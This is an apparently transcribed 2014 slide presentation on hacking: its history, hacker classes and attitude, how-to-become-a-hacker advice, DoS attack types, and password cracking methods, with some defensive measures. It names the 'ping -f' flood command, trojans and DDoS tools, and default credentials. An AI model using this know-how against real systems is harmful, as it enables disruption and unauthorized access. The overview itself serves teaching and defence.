Post on 03-Oct-2014
Click To Enter The VentureClick To Enter The Venture
1
Hacking
2
Index
• Evolution Hacking
• Hacking
• Introduction To- Cyber Crime
• Special Attraction
• Viruses
• Hacking XP
• Glossary
• Prepared By
Back
3
4
Evolution of Hacking
Astonishingly, hacking did not instigate as an antisociety activity. The entire story of
hacking started with the belief that there is always more than one way to solve a problem.
People also wanted to admittance the information free of cost at any time.
Computer hacking started in the late 1950s. Before that, computers and programming
languages were not easily easily reached. Problems were solved by repeating known and
successful computing methods. To Work on computers, people needed formal problems and
predesigned solutions. Computers were allotted to professionals based on priority of their
requirements. The restricted use of computer resources reduced the chances for any
experiments with early computers.
The authorities of Massachusetts Institute of Technology (MIT) allowed people to
access their TX-0 resources without any restrictions after official hours. That was the first
time when computer users got a chance to experiment with different methods for solving
problems. In other words, that was the beginning of the hacker community. However, the
prime aim of those hackers was to experiment with new solutions without any malevolent
intent. The earlier hackers performed their activities with a strong belief that there is always a
space for enhancement. They performed their activities without any predefined structure and
time schedules.
In parallel to the computers hacking activities, a new type of hackers, phreaks, came
into existence. Phreaks first accessed telephone networks by using handheld electronic
devices. Phreaks used those devices to make modifications to pay telephones to make free
telephone calls. To try to be like payments in pay telephones, they used devices, such as red
boxes.
In the early 1980s, a new computing era started by connecting computers and
telephone networks with the help of modems. Personal computers became popular. Users
started to use modems and telephone networks to connect personal computers and mainframe
computers. The access to the computers connected to the internet opened the entire world of
computers to the hackers community. The rapid growth of the internet technologies changed
the profile of hackers.
Back5
6
Index
• What Is Hacking?
• How Do Hackers Hack?
• Classes Of Hacker
• How To Became Hacker ?
• Common Hacking Techniques
• Passwords
• Sniffers: Basics and Detection
7
Back
8
9
What is Hacking?
Hacking is an act of penetrating computer systems to gain knowledge about the
system and how it works.
What are Hackers?
Technically, a hacker is someone who is enthusiastic about computer programming
and all things relating to the technical workings of a computer. Such a definition presents the
term in a more positive light than is usually associated with the term. Most people understand
a hacker to be what is more accurately known as a 'cracker'
What are Crackers?
Crackers are people who try to gain unauthorized access to computers. This is
normally done through the use of a 'backdoor' program installed on your machine. A lot of
crackers also try to gain access to resources through the use of password cracking software,
which tries billions of passwords to find the correct one for accessing a computer.
What damage can a Hacker do?
This depends upon what backdoor program(s) are hiding on your PC. Different
programs can do different amounts of damage. However, most allow a hacker to smuggle
another program onto your PC. This means that if a hacker can't do something using the
backdoor program, he can easily put something else onto your computer that can. Hackers can
see everything you are doing, and can access any file on your disk. Hackers can write new
files, delete files, edit files, and do practically anything to a file that could be done to a file. A
hacker could install several programs on to your system without your knowledge. Such
programs could also be used to steal personal information such as passwords and credit card
information
Back
10
11
How do Hackers hack?
There are many ways in which a hacker can hack. Some are as follows –
* NetBIOS
* ICMP Ping
* FTP
* rpc.statd
* HTTP
NetBIOS
NetBIOS hacks are the worst kind, since they don't require you to have any hidden
backdoor program running on your computer. This kind of hack exploits a bug in Windows
9x. NetBIOS is meant to be used on local area networks, so machines on that network can
share information. Unfortunately, the bug is that NetBIOS can also be used across the Internet
- so a hacker can access your machine remotely.
ICMP ‘Ping’ (Internet Control Message Protocol)
ICMP is one of the main protocols that make the Internet work. It standards for
Internet Control Message Protocol. 'Ping' is one of the commands that can be sent to a
computer using ICMP. Ordinarily, a computer would respond to this ping, telling the sender
that the computer does exist. This is all pings are meant to do. Pings may seem harmless
enough, but a large number of pings can make a Denial-of-Service attack, which overloads a
computer. Also, hackers can use pings to see if a computer exists and does not have a firewall
(firewalls can block pings). If a computer responds to a ping, then the hacker could then
launch a more serious form of attack against a computer.
FTP (File Transfer Protocol)
FTP is a standard Internet protocol, standing for File Transfer Protocol. You may use it
for file downloads from some websites. If you have a web page of your own, you may use
FTP to upload it from your home computer to the web server. However, FTP can also be used
by some hackers... FTP normally requires some form of authentication for access to private
files, or for writing to files
FTP backdoor programs, such as-
* Doly Trojan
12
* Fore
* Blade Runner
simply turn your computer into an FTP server, without any authentication.
Rpc.Statd
This is a problem specific to Linux and Unix. The problem is the infamous unchecked
buffer overflow problem. This is where a fixed amount of memory is set aside for storage of
data. If data is received that is larger than this buffer, the program should truncate the data or
send back an error, or at least do something other than ignore the problem. Unfortunately, the
data overflows the memory that has been allocated to it, and the data is written into parts of
memory it shouldn't be in. This can cause crashes of various different kinds. However, a
skilled hacker could write bits of program code into memory that may be executed to perform
the hacker's evil deeds.
HTTP
HTTP stands for HyperText Transfer Protocol.. HTTP hacks can only be harmful if
you are using Microsoft web server software, such as Personal Web Server. There is a bug in
this software called an 'unchecked buffer overflow'. If a user makes a request for a file on the
web server with a very long name, part of the request gets written into parts of memory that
contain active program code. A malicious user could use this to run any program they want on
the server.
Back
13
14
Classes of Hackers Today, it is very difficult to distinguish between hackers, crackers, and script kiddies.
Therefore, hackers have been categorized into different groups based on the nature of their
tricks:
• White hats
• Black hats
• Gray hats
White HatsWhite hat hackers use their skills and knowledge for good purposes. These hackers
help to find out new security vulnerabilities and their solutions. White hats do not hack
systems with any bad intent. They like experimenting and believe that there is always a better
solution than the current one. White hat hackers always inform the vulnerabilities they
discovered to the concerned security professionals weakness of that system and help the
system administrator to implement better security measures is a White hat hacker.
Black HatsBlack hat hackers perform their activities with bad intentions. Black hats perform
illegal activities, such as destroying data, denying services to legitimate users, and defacing
Web sites. For example, a hacker who breaks into the network of a bank and steals thousands
of dollars by transferring it to other banks is a black hat. Black hat hackers share their
experiments with other crackers but not with the concerned security professionals.
Grey HatsGray hat hackers are those people who do not believe in categorizing hacking
activities as good or bad. Gray hats believe that some of the activities, which are condemned
by white hats, are harmless. Gray hat hackers might share the results of their experiments
with both security professionals and crackers.
15
The Hacker Attitude
Hackers solve problems and build things, and they believe in freedom and voluntary
mutual help. To be accepted as a hacker, you have to behave as though you have this kind of
attitude yourself. And to behave as though you have the attitude, you have to really believe
the attitude. But if you think of cultivating hacker attitudes as just a way to gain acceptance in
the culture, you'll miss the point. They're also important because becoming the kind of person
who believes these things is important, for helping you learn and keeping you motivated. As
with all creative arts, the most effective way to become a master is to imitate the mind-set of
masters -- not just intellectually but emotionally as well. (lots of these on alt.2600.hgackerz)
So, if you want to be a hacker, repeat the following things until you believe them:
1. The world is full of fascinating problems waiting to be solved.
Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort
takes motivation. Successful athletes get their motivation from a kind of physical delight in
making their bodies perform, in pushing themselves past their own physical limits. Similarly,
to be a hacker you have to get a basic thrill from solving problems, sharpening your skills,
and exercising your intelligence. If you aren't the kind of person that feels this way naturally,
you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking
energy is sapped by distractions like sex, money, and social approval. ( so I would take it all
hackers are wankers lol ).You also have to develop a kind of faith in your own learning
capacity -- a belief that even though you may not know all of what you need to solve a
problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the
next piece -- and so on, until you're done. ( I agree )
2. Nobody should ever have to solve a problem twice.
Creative brains are a valuable, limited resource. They shouldn't be wasted on re-
inventing the wheel when there are so many fascinating new problems waiting out there.
To behave like a hacker, you have to believe that the thinking time of other hackers is
precious -- so much so that it's almost a moral duty for you to share information, solve
problems and then give the solutions away just so other hackers can solve new problems
instead of having to perpetually re-address old ones. (You don't have to believe that you're
obligated to give all your creative product away, though the hackers that do that get the most
respect from other hackers. It's definitely OK to sell enough of it to keep you in food and rent
16
and computers. It's OK to use your hacking skills to support a family or even get rich, as long
as you don't forget you're a hacker while you're doing it.)
3. Boredom and drudgery are evil.
Hackers (and creative people in general) should never be bored or have to drudge at stupid
repetitive work, because when this happens it means they aren't doing what only they can do
-- solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery
are not just unpleasant but actually evil. To behave like a hacker, you have to believe this
enough to want to automate away the boring bits as much as possible, not just for yourself but
for everybody else (especially other hackers). (There is one apparent exception to this.
Hackers will sometimes do things that may seem repetitive or boring as a mind-clearing
exercise, or in order to acquire a skill or have some particular kind of experience you can't
have otherwise. But this is by choice -- nobody who can think should ever be forced into
boredom.)
4. Freedom is good.
Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop
you from solving whatever problem you're being fascinated by -- and, given the way
authoritarian minds work, will generally find some appallingly stupid reason to do so. So the
authoritarian attitude has to be fought wherever you find it, lest it smother you and other
hackers. (This isn't the same as fighting all authority. Children need to be guided and
criminals restrained. A hacker may agree to accept some kinds of authority in order to get
something he wants more than the time he spends following orders. But that's a limited,
conscious bargain; the kind of personal surrender authoritarians want is not on offer.)
Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and
information-sharing -- they only like cooperation that they control. So to behave like a hacker,
you have to develop an instinctive hostility to censorship, secrecy, and the use of force or
deception to compel responsible adults. And you have to be willing to act on that belief.
5. Attitude is no substitute for competence.
To be a hacker, you have to develop some of these attitudes. But copping an attitude
alone won't make you a hacker, any more than it will make you a champion athlete or a rock
star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
17
Therefore, you have to learn to distrust attitude and respect competence of every kind.
Hackers won't let posers waste their time, but they worship competence -- especially
competence at hacking, but competence at anything is good. Competence at demanding skills
that few can master is especially good, and competence at demanding skills that involve
mental acuteness, craft, and concentration is best. If you revere competence, you'll enjoy
developing it in yourself -- the hard work and dedication will become a kind of intense play
rather than drudgery. And that's vital to becoming a hacker.
Back
18
19
How To Become A Hacker
Looking for advice on learning to crack passwords, sabotage systems, mangle
websites, write viruses, and plant Trojan horses? You came to the wrong place.
Looking for advice on how to learn the guts and bowels of a system or network, get
inside it, and become a real expert? Maybe I can help there. How you use this knowledge is
up to you. I hope you'll use it to contribute to computer science and hacking (in its good
sense), not to become a cracker or vandal.
This little essay is basically the answers to all the emails I get asking how to become a
hacker. It's not a tutorial in and of itself. It's certainly not a guaranteed success. Just give it a
try and see what happens. That said, here's where to start:
Be curious
Take things apart. Look under the hood. Dig through your system directories and see
what's in there. View the files with hex editors. Look inside your computer. Wander around
computer stores and look at what's there.
Read everything in sight
If you can afford it, buy lots of books. If you can't, spend time in libraries and online.
Borrow books from friends. Go through tutorials. Read the help files on your system. If
you're using Unix/Linux, read the man files. Check out the local college bookstores and
libraries. And as you're reading, try things (see next paragraph).
Experiment
Don't be afraid to change things, just to see what'll happen. Do this long enough, of
course, and you'll wipe out your system (see next paragraph), but that's part of becoming a
hacker. Try command options and switches you've never tried before. Look for option menus
on programs and see what they can do. In Windows, tweak your registry and see what
happens. Change settings in .INI files. In Unix, dig around in the directories where you don't
normally go. On the Macintosh, play around in the system folder.
20
Make backups
If you start mucking around with system files, registries, password files, and such, you
will eventually destroy your system. Have a backup ready. If you can afford it, have a system
you use just for experimenting, ready to reload on a moment's notice, and do your serious
work (or serious gaming!) on a different computer.
Don't limit yourself
Who says a computer or network is the only place to hack? Take apart your telephone.
Figure out your television (careful of the high voltage around the picture tube - if you fry
yourself, it's not my fault) and VCR. Figure out how closed captioning works (that was a plug
for my CaptionCentral.com Web site). Take apart your printer. Pick up the latest issues of
Nuts & Volts and Midnight Engineer (you've obviously made a good start if you're reading
Blacklisted! 411). Take apart the locks on your doors. Figure out how your radio works. Be
insatiably curious and read voraciously. There are groups you can learn from. There are whole
Web sites devoted to hacking TiVo units, for example.
Get some real tools
You can't cut a board in half with a screwdriver. Well, maybe you can, but it'll take a
long time. Dig around and find the proper tools for the operating systems you're using.
They're out there on the Web. You can get some pretty good stuff as shareware or freeware
(especially on Linux). The serious power tools often cost serious money. What kinds of tools?
Hex file editors. Snoopers that analyze system messages and network traffic. Compilers and
APIs for programming. Scripting tools. Disk editors/formatters. Disassemblers. When you get
good, write some of your own.
Learn to program
If you want to be a hacker, you're going to have to learn to program. The easiest way
to start depends on the operating system you're using. The choice of language is very
individual. It's almost a religious thing. Suggest a programming language to a beginner, and
someone will disagree. Heck, you'll probably get flamed for it in a newsgroup. In Unix, I'd
suggest getting started with Perl. Buy a copy of the camel book (Programming Perl) and the
llama book (Learning Perl). You'll have the fundamentals of programming really fast! The
21
best part is that the language itself is free. In Windows, you can get started quickly using a
visual development environment like Visual Basic or Java. No matter what the system, if you
want to get serious, you'll eventually need to learn C (or C++ or C# or some other variant).
Real hackers know more than one programming language, anyway, because no one language
is right for every task.
Learn to type
Hackers spend a lot of time at their keyboards. I type 90+ wpm (according to the
Mavis Beacon typing tutor). HackingWiz (of hackers.com and Hacker's Haven BBS fame)
says he can type 140+ wpm. The typing tutor may be boring, but it pays off.
Use real operating systems
Windows 95/98/Me is a shell on top of a 32-bit patch to a 16-bit DOS. Get some real
operating systems (Linux, Windows NT, Mac OS, OS/2...) and learn them. You can't call
yourself a linguist if you only know one language, and you certainly can't call yourself a
hacker if you only know one OS. Linux is a hacker's dream. All the source code is freely
available. Play with it, analyze it, learn it. Eventually, perhaps you can make a contribution to
Linux yourself. Who knows, you might even have a chance to write your own OS.
Talk to people
It's hard to learn in a vacuum. Take classes. Join users groups or computer clubs. Talk
to people on IRC or newsgroups or Web boards until you find people to learn with. That can
take a while. Every third message on newsgroups like alt.hack* is "teach me to hack." Sigh.
The best way to be accepted in any group is to contribute something. Share what you learn,
and others will share with you.
Do some projects
It's important to pick some projects and work until you've finished them. Learning
comes from doing, and you must follow the project through start to finish to really understand
it. Start really simple. Make an icon. Customize your system (the startup screen on Win95, or
the prompt on Unix). Make a script that performs some common operation. Write a program
that manipulates a file (try encrypting something).
22
Learn to really use the Internet
Start with the Web. Read the help for the search engines. Learn how to use Boolean
searches. Build up an awesome set of bookmarks. Then move on to other Internet resources.
Get on Usenet. Find some underground BBSs. Get on IRC. You'll find useful information in
the strangest places. Get to the point where you can answer your own questions. It's a whole
lot faster than plastering them all over various newsgroups and waiting for a serious answer.
Once you've gone through these steps, go out and contribute something. The Internet was
built by hackers. Linux was built by hackers. Usenet was built by hackers. Sendmail was built
by hackers. Be one of the hackers that builds something.
Back
23
24
Common Hacking TechniquesThe Various Hacking techniques include:
• Denial-of-service
• Trojan Horses
• Spoofing
• Sniffing
• Password Cracking
Denial-Of-ServiceDenial-Of-Service attacksattacks
Methods of attacksMethods of attacks
A "denial-of-service" attack is characterized by an explicit attempt by attackers to
prevent legitimate users of a service from using that service. Examples include:
• Attempts to "flood" a network, thereby preventing legitimate network traffic;
• Attempt to disrupt a server by sending more requests than it can possibly handle, thereby
preventing access to a service;
• Attempts to prevent a particular individual from accessing a service;
• Attempts to disrupt service to a specific system or person.
Attacks can be directed at any network device, including attacks on routing devices
and Web, electronic mail, or Domain Name System servers.
A DOS attack can be perpetrated in a number of ways. There are three basic types of
attack:
1. Consumption of computational resources, such as bandwidth, disk space, or CPU time;
2. Disruption of configuration information, such as routing information;
3. Disruption of physical network components.
In addition, the US-CERT has provided tips on the manifestations of DoS attacks:
• Unusually slow network performance (opening files or accessing web sites)
• Unavailability of a particular web site
• Inability to access any web site
• Dramatic increase in the number of spam emails received
25
SYN floods
Main article: SYN flood
A SYN flood sends a flood of TCP/SYN packets, often with a forged sender address.
Each of these packets are handled like a connection request, causing the server to spawn a
half-open connection, by sending back a TCP/SYN-ACK packet, and waiting for an
TCP/ACK packet in response from the sender address. However, because the sender address
is forged, the response never comes. These half-open connections consume resources on the
server and limit the number of connections the server is able to make, reducing the server's
ability to respond to legitimate requests until after the attack ends.
When a computer wants to make a TCP/IP connection (the most common internet
connection) to another computer, usually a server, an exchange of TCP/SYN and TCP/ACK
packets of information occur. The computer requesting the connection, usually the client's or
user's computer, sends a TCP/SYN packet which asks the server if it can connect. If the server
will allow connections, it sends a TCP/SYN-ACK packet back to the client to say "Yes, you
may connect" and reserves a space for the connection, waiting for the client to respond with a
TCP/ACK packet detailing the specifics of its connection.
In a SYN flood the address of the client is often forged so that when the server sends
the go-ahead back to the client, the message is never received because the client either doesn't
exist or wasn't expecting the packet and subsequently ignores it. This leaves the server with a
dead connection, reserved for a client that will never respond. Usually this is done to one
server many times in order to reserve all the connections for unresolved clients, which keeps
legitimate clients from making connections.
The classic example is that of a party. Only 50 people can be invited to a party, and
invitations are available on a first-come first-serve basis. Fifty letters are sent to request
invitations, but the letters all have false return addresses. The invitations are mailed to the
return addresses of the request letters. Unfortunately, all of the return addresses provided were
fake, so nobody, or at least nobody of interest, receives the invitations. Now, when someone
actually wants to come to the party (view the website), there are no invitations left because all
the invitations (connections) have been reserved for 50 supposed people who will never
actually show up.
26
LAND LAND attack
Main article: LAND attack
A LAND attack involves sending a spoofed TCP SYN packet (connection initiation)
with the target host's IP address with an open port as both source and destination. The attack
causes the targeted machine to reply to itself continuously and eventually crash.
ICMP floods
A smurf attack is one particular variant of a flooding DoS attack on the public
Internet. It relies on mis-configured network devices that allow packets to be sent to all
computer hosts on a particular network via the broadcast address of the network, rather than a
specific machine. The network then serves as a smurf amplifier. In such an attack, the
perpetrators will send large numbers of IP packets with the source address faked to appear to
be the address of the victim. To combat Denial of Service attacks on the Internet, services like
the Smurf Amplifier Registry have given network service providers the ability to identify
misconfigured networks and to take appropriate action such as filtering.
Ping flood is based on sending the victim an overwhelming number of ping packets, usually
using the "ping -f" command. It is very simple to launch, the primary requirement being
access to greater bandwidth than the victim.
UDP floods
UDP floods include "Fraggle attacks". In a fraggle attack an attacker sends a large
amount of UDP echo traffic to IP broadcast addresses, all of it having a fake source address. It
is a simple rewrite of the smurf attack code.
Teardrop attackTeardrop attack
The Teardrop attack involves sending IP fragments with overlapping oversized
payloads to the target machine. A bug in the TCP/IP fragmentation re-assembly code caused
the fragments to be improperly handled, crashing the operating system as a result. Windows
3.1x, Windows 95 and Windows NT operating systems, as well as versions of Linux prior to
2.0.32 and 2.1.63 are vulnerable to this attack.
Application level floods
On IRC, IRC floods are a common electronic warfare weapon.
Various DoS-causing exploits such as buffer overflow can cause server-running software to
get confused and fill the disk space or consume all available memory or CPU time.
27
Other kinds of DoS rely primarily on brute force, flooding the target with an overwhelming
flux of packets, oversaturating its connection bandwidth or depleting the target's system
resources. Bandwidth-saturating floods rely on the attacker having higher bandwidth
available than the victim; a common way of achieving this today is via Distributed Denial of
Service, employing a botnet. Other floods may use specific packet types or connection
requests to saturate finite resources by, for example, occupying the maximum number of open
connections or filling the victim's disk space with logs.
A "banana attack" is another particular type of DoS. It involves redirecting outgoing
messages from the client back onto the client, preventing outside access, as well as flooding
the client with the sent packets.
An attacker with access to a victim's computer may slow it until it is unusable or crash it by
using a fork bomb.
A 'Pulsing zombie' is a term referring to a special denial-of-service attack. A network
is subjected to hostile pinging by different attacker computers over an extended amount of
time. This results in a degraded quality of service and increased workload for the network's
resources. This type of attack is more difficult to detect than traditional denial-of-service
attacks due to their surreptitious nature.
Nukes
Nukes are malformed or specially crafted packets.
WinNuke is a type of nuke, exploiting the vulnerability in the NetBIOS handler in Windows
95. A string of out-of-band data is sent to TCP port 139 of the victim machine, causing it to
lock up and display a Blue Screen of Death. This attack was very popular between IRC-
dwelling script kiddies, due to easy availability of a user-friendly click-and-crash WinNuke
program.
Distributed attackDistributed attack
A distributed denial of service attack (DDoS) occurs when multiple compromised
systems flood the bandwidth or resources of a targeted system, usually a web server(s). These
systems are compromised by attackers using a variety of methods.
Malware can carry DDoS attack mechanisms; one of the more well known examples of this
was MyDoom. Its DoS mechanism was triggered on a specific date and time. This type of
DDoS involved hardcoding the target IP address prior to release of the malware and no
further interaction was necessary to launch the attack.28
A system may also be compromised with a trojan, allowing the attacker to download a zombie
agent (or the trojan may contain one). Attackers can also break into systems using automated
tools that exploit flaws in programs that listen for connections from remote hosts. This
scenario primarily concerns systems acting as servers on the web.
Stacheldraht is a classic example of a DDoS tool. It utilizes a layered structure where the
attacker uses a client program to connect to handlers, which are compromised systems that
issue commands to the zombie agents, which in turn facilitate the DDoS attack. Agents are
compromised via the handlers by the attacker, using automated routines to exploit
vulnerabilities in programs that accept remote connections running on the targeted remote
hosts. Each handler can control up to a thousand agents.
These collections of compromised systems are known as botnets. DDoS tools like
stacheldraht still use classic DoS attack methods centered around ip spoofing and
amplification like smurf and fraggle attacks (these are also known as bandwidth consumption
attacks). SYN floods (also known as resource starvation attacks) may also be used. Newer
tools can use DNS servers for DoS purposes. (see next section)
Unlike MyDooms DDoS mechanism, botnets can be turned against any ip address. Script
kiddies use them to deny the availability of well known websites to legitimate users. More
sophisticated attackers use DDoS tools for the purposes of extortion -- even against their
business rivals.
It is important to note the difference between a DDoS and DoS attack. If an attacker
mounts a smurf attack from a single host it would be classed as a DoS attack. In fact, any
attack against availability (e.g. using High-energy radio-frequency weapons to render
computer equipment inoperable) would be classed as a Denial of Service attack, albeit an
exotic one. On the other hand, if an attacker uses a thousand zombie systems to
simultaneously launch smurf attacks against a remote host, this would be classed as a DDoSDDoS
attack.attack.
Reflected attack
A distributed reflected denial of service attack involves sending forged requests of
some type to a very large number of computers that will reply to the requests. Using Internet
protocol spoofing, the source address is set to that of the targeted victim, which means all the
replies will go to (and flood) the target.
ICMP Echo Request attacks (described above) can be considered one form of
reflected attack, as the flooding host(s) send Echo Requests to the broadcast addresses of mis-
29
configured networks, thereby enticing a large number of hosts to send Echo Reply packets to
the victim. Some early DDoS programs implemented a distributed form of this attack.
Many services can be exploited to act as reflectors, some harder to block than others. DNS
amplification attacks involve a new mechanism that increased the amplification effect, using a
much larger list of DNS servers than seen earlier.
Unintentional attackUnintentional attack
This describes a situation where a website ends up denied, not due to a deliberate
attack by a single individual or group of individuals, but simply due to a sudden enormous
spike in popularity. This can happen when an extremely popular website posts a prominent
link to a second, less well-prepared site, for example, as part of a news story. The result is that
a significant proportion of the primary site's regular users — potentially hundreds of
thousands of people — click that link in the space of a few hours, having the same effect on
the target website as a DDoS attack.
News sites and link sites — sites whose primary function is to provide links to
interesting content elsewhere on the Internet — are most likely to cause this phenomenon.
The canonical example is the Slashdot effect. Sites such as Digg, Fark, Something Awful and
the webcomic Penny Arcade have their own corresponding "effects", known as "the Digg
effect", "farking", "goonrushing" and "wanging"; respectively.
Routers have also been known to create unintentional DoS attacks, as both D-Link and
Netgear routers have created NTP vandalism by flooding NTP servers without respecting the
restrictions of client types or geographical limitations.
Incidents
The first major attack involving DNS servers as reflectors occurred in January 2001.
The attack was directed at the site Register.com. This attack, which forged requests for the
MX records of AOL.com (to amplify the attack) lasted about a week before it could be traced
back to all attacking hosts and shut off. It used a list of tens of thousands of DNS servers that
was at least a year old (at the time of the attack.)
In July 2002, the Honeynet Project Reverse Challenge was issued. The binary that was
analyzed turned out to be yet another DDoS agent, which implemented several DNS related
attacks, including an optimized form of a reflection attack...
30
EffectsEffects
Denial of Service attacks can also lead to problems in the network 'branches' around
the actual computer being attacked. For example, the bandwidth of a router between the
Internet and a LAN may be consumed by a DoS, meaning not only will the intended
computer be compromised, but the entire network will also be disrupted. This is another,
more complex form of the DDoS, wherein the "zombies" can be located on the target system
itself, thus increasing network traffic on either side of the target.
If the DoS is conducted on a sufficiently large scale, entire geographical swathes of Internet
connectivity can also be compromised by incorrectly configured or flimsy network
infrastructure equipment without the attacker's knowledge or intent. For this reason, most, if
not all, ISPs ban the practice.
Common malwareCommon malware
• Stacheldraht
• Tribe Flood Network
• Trinoo
Prevention and response Prevention and response
Surviving attacksSurviving attacks
The investigative process should begin immediately after the DoS attack begins. There
will be multiple phone calls, call backs, emails, pages and faxes between the victim
organization, one's provider and others involved. It is a time consuming process, so the
process should begin immediately. It has taken some very large networks with plenty of
resources several hours to halt a DDoS.
The easiest way to survive an attack is to have planned for the attack. Having a
separate emergency block of IP addresses for critical servers with a separate route can be
invaluable. A separate route (perhaps a DSL) is not that extravagant, and it can be used for
load balancing or sharing under normal circumstances and switched to emergency mode in
the event of an attack. Filtering is generally pretty ineffective, as the route to the filter will
normally be swamped so only a trickle of traffic will survive.
31
SYN CookiesSYN Cookies
SYN cookies modify the TCP protocol handling of the server by delaying allocation
of resources until the client address has been verified. This seems to be the most powerful
defense against SYN attacks. There are solaris and Linux implementations. The linux
implementation can be turned on during runtime of the linux kernel.
Firewalls Firewalls
Firewalls have simple rules such as to allow or deny protocols, ports or IP addresses.
DoS attacks are too complex for today's firewalls. E.g. if there is an attack on port 80 (web
service), firewalls cannot prevent that attack because they cannot distinguish good traffic
from DoS attack traffic. Additionally, firewalls are too deep in the network hierarchy. Your
router may be affected even before the firewall gets the traffic.
Modern stateful firewalls like Check Point FW1 NGX & Cisco PIX have a built-in capability
to differentiate good traffic from DoS attack traffic. This capability is known as a "Defender",
as it confirms TCP connections are valid before proxying TCP packets to service networks
(including border routers).
SwitchesSwitches
Most switches have some rate-limiting and ACL capability. Some switches provide
automatic and or system-wide rate limiting, traffic shaping, delayed binding (TCP splicing),
deep packet inspection and Bogon filtering (bogus IP filtering) to detect and remediate denial
of service attacks through automatic rate filtering and WAN Link failover and balancing.
These schemes will work as long as the DoS attacks are something that can be
prevented using them. For example SYN flood can be prevented using delayed binding or
TCP splicing. Similarly content based DoS can be prevented using deep packet inspection.
Attacks originating from dark addresses or going to dark addresses can be prevented using
Bogon filtering. Automatic rate filtering can work as long as you have set rate-thresholds
correctly and granularly. Wan-link failover will work as long as both links have DoS/DDoS
prevention mechanism.
32
RoutersRouters
Similar to switches, routers have some rate-limiting and ACL capability. They too are
manually set. Most routers can be easily overwhelmed under DoS attack. If you add rules to
take flow statistics out of the router during the DoS attacks, they further slow down and
complicate the matter. Cisco IOS has features that prevents flooding, i.e. example settings
Application front end hardwareApplication front end hardware
Application front end hardware is intelligent hardware placed on the network before
traffic reaches the servers. It can be used on networks in conjunction with routers and
switches. Application front end hardware analyzes data packets as they enter the system, and
then identifies them as priority, regular, or dangerous. There are more than 25 bandwidth
management vendors. Hardware acceleration is key to bandwidth management. Look for
granularity of bandwidth management, hardware acceleration, and automation while selecting
an appliance.
IPS based preventionIPS based prevention
Intrusion-prevention systems are effective if the attacks have signatures associated
with them. However, the trend among the attacks is to have legitimate content but bad intent.
IPS systems which work on content recognition cannot block behavior based DoS attacks.
An ASIC based IPS can detect and block denial of service attacks because they have the
processing power and the granularity to analyze the attacks and act like a circuit breaker in an
automated way.
A rate-based IPS (RBIPS) must analyze traffic granularly and continuously monitor
the traffic pattern and determine if there is traffic anomaly. It must let the legitimate traffic
flow while blocking the DoS attack traffic.
Back
33
34
Passwords
Passwords to access computer systems are usually stored, typically not in cleartext
form, in a database so the system can perform password verification when users attempt to
login. To preserve confidentiality of system passwords, the password verification data is
typically generated by applying a one-way function to the password, possibly in combination
with other data. For simplicity in this discussion, when the one-way function (which may be
either an encryption function or cryptographic hash) does not incorporate a secret key, other
than the password, we will refer to the one way function employed as a hash and its output as
a hashed password.
Even though functions that create hashed passwords may be cryptographically secure,
possession of a hashed password provides a quick way to test guesses for the password by
applying the function to each guess, and comparing the result to the verification data. The
most commonly used hash functions can be computed rapidly and the attacker can test
guesses repeatedly with different guesses until one succeeds, meaning the plaintext password
has been recovered.
The term password cracking is typically limited to recovery of one or more plaintext
passwords from hashed passwords. Password cracking requires that an attacker can gain
access to a hashed password, either by reading the password verification database (e.g., via a
Trojan Horse, virus program, or social engineering) or intercepting a hashed password sent
over an open network, or has some other way to rapidly and without limit test whether a
guessed password is correct.
Without the hashed version of a password, the attacker can still attempt access to the
computer system in question with guessed passwords. However well designed systems limit
the number of failed access attempts and can alert administrators to trace the source of the
attack if that quota is exceeded. With the hashed password, the attacker can work undetected,
and if the attacker has obtained several hashed passwords, the chances for cracking at least
one is quite high.
There are also many other ways of obtaining passwords illicitly, such as social
engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing,
shoulder surfing, timing attack, acoustic cryptanalysis, identity management system attacks
and compromising host security (see password for details). However, cracking usually
designates a guessing attack.
35
Cracking may be combined with other techniques. For example, use of a hash-based
challenge-response authentication method for password verification may provide a hashed
password to an eavesdropper, who can then crack the password. A number of stronger
cryptographic protocols exist that do not expose hashed-passwords during verification over a
network, either by protecting them in transmission using a high-grade key, or by using a zero-
knowledge password proof.
Principal attack methods
Weak encryption
If a system uses a cryptographically weak function to hash or encrypt passwords, exploiting
that weakness can recover even 'well-chosen' passwords. Decryption need not be a quick
operation, and can be conducted while not connected to the target system. Any 'cracking'
technique of this kind is considered successful if it can decrypt the password in fewer
operations than would be required by a brute force attack (see below). The fewer operations
required, the "weaker" the encryption is considered to be (for equivalently well chosen
passwords). One example is the LM hash that Microsoft Windows uses by default to store
user passwords that are less than 15 characters in length. LM hash breaks the password into
two 7-character fields which are then hashed separately, allowing each half to be attacked
separately. Progress in cryptography has made available functions which are believed to
actually be "one way" hashes, such as MD5 or SHA-1. These are thought to be impossible to
invert in practice. When quality implementations of good cryptographic hash functions are
correctly used for authentication, password cracking through decryption can be considered
infeasible.
Guessing
Not surprisingly, many users choose weak passwords, usually one related to
themselves in some way. Repeated research over some 40 years has demonstrated that around
40% of user-chosen passwords are readily guessable by programs. Examples of insecure
choices include:
• blank (none)
• the word "password", "passcode", "admin" and their derivates
• the user's name or login name
• the name of their significant other or another relative
• their birthplace or date of birth 36
• a pet's name
• automobile licence plate number
• a simple modification of one of the preceding, such as suffixing a digit or
reversing the order of the letters.
• a row of letters from a standard keyboard layout (eg, the qwerty keyboard --
qwerty itself, asdf, or qwertyuiop) and so on.
Some users even neglect to change the default password that came with their account
on the computer system. And some administrators neglect to change default account
passwords provided by the operating system vendor or hardware supplier. A famous example
is the use of FieldService as a user name with Guest as the password. If not changed at system
configuration time, anyone familiar with such systems will have 'cracked' an important
password; such service accounts often have higher access privileges than a normal user
account.
The determined cracker can easily develop a computer program that accepts personal
information about the user being attacked and generates common variations for passwords
suggested by that information.
Dictionary attack
A dictionary attack also exploits the tendency of people to choose weak passwords,
and is related to the previous attack. Password cracking programs usually come equipped with
"dictionaries", or word lists, with thousands or even millions of entries of several kinds,
including:
• words in various languages
• names of people
• places
• commonly used passwords
The cracking program encrypts each word in the dictionary, and simple modifications
of each word, and checks whether any match an encrypted password. This is feasible because
the attack can be automated and, on inexpensive modern computers, several thousand
possibilities can be tried per second.
